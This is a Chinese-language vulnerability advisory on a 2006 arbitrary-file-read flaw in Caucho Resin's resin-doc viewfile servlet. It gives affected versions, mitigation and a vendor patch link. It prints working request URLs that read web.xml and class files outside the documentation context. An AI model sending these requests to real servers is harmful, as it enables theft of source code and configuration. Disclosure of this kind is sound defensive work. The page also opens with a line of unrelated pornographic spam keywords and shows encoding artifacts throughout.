欧美性猛交XXXX免费看蜜桃,成人网18免费韩国,亚洲国产成人精品区综合,欧美日韩一区二区三区高清不卡,亚洲综合一区二区精品久久

發(fā)布日期：2006-05-16
更新日期：2006-05-17

受影響系統：

Caucho Technology Resin v3.0.18
Caucho Technology Resin v3.0.17
Caucho Technology Resin v3.0.16
Caucho Technology Resin v3.0.15
Caucho Technology Resin v3.0.14
Caucho Technology Resin v3.0.13
Caucho Technology Resin v3.0.12
Caucho Technology Resin v3.0.11
Caucho Technology Resin v3.0.10

不受影響系統：

Caucho Technology Resin v3.0.19

描述：

---

BUGTRAQ  ID: 18007

Resin是一款由Caucho Technology開(kāi)發(fā)的WEB服務(wù)器，可使用在Microsoft Windows操作系統下。

Resin的某個(gè)CGI程序實(shí)現上存在輸入驗證漏洞，遠程攻擊者可能利用此漏洞讀取Web主目錄下的任意文件，包括JSP源碼或類(lèi)文件。

默認下Resin的/webapps目錄下/resin-doc中包含有一個(gè)擴展war文件。該文檔包含有用于在集成的手冊中瀏覽文件的servlet：

http://targetsystem/resin-doc/viewfile/?contextpath=%2Fresin-doc%2Fjmx%2Ftutorial%2Fbasic&servletpath=%2Findex.xtp&file=index.jsp&re-marker=&re-start=&re-end=#code-highlight

viewfile servlet可以無(wú)需參數在Web主目錄中瀏覽任意文件：

http://targetsystem/resin-doc/viewfile/?file=index.jsp

攻擊者可以設置resin-doc外的上下文路徑，讀取其他Web主目錄的任意文件：

http://targetsystem/resin-doc/viewfile/?contextpath=/otherwebapp&servletpath=&file=WEB-INF/web.xml

如果系統中安裝了resin-doc就可能讀取Web主目錄中的所有文件，包括類(lèi)文件，然后可以反編譯這些文件瀏覽Java源代碼：

http://targetsystem/resin-doc/viewfile/?contextpath=/&servletpath=&file=WEB-INF/classes/com/webapp/app/target.class

請求中錯誤的路徑還會(huì )泄漏安裝的絕對路徑：

File not found
/C:/customer/sites/deploy/n/wwwroot/WEB-INF/classes/com/webapp/app/non-existant.class

<*來(lái)源：Joseph Pierini （joep@scanalert.com）
  
  鏈接：http://marc.theaimsgroup.com/?l=bugtraq&m=114780293620632&w=2
*>

測試方法：

---

警 告

以下程序(方法)可能帶有攻擊性，僅供安全研究與教學(xué)之用。使用者風(fēng)險自負！

http://www.example.com/resin-doc/viewfile/?contextpath=/otherwebapp&servletpath=&file=WEB-INF/web.xml
http://www.example.com/resin-doc/viewfile/?contextpath=/&servletpath=&file=WEB-INF/classes/com/webapp/app/target.class

建議：

---

臨時(shí)解決方法：

* 從生產(chǎn)系統中刪除resin-doc.war文件，不要使用默認的配置文件部署。

廠(chǎng)商補?。?br>
Caucho Technology
-----------------
目前廠(chǎng)商已經(jīng)發(fā)布了升級補丁以修復這個(gè)安全問(wèn)題，請到廠(chǎng)商的主頁(yè)下載：

http://www.caucho.com/download/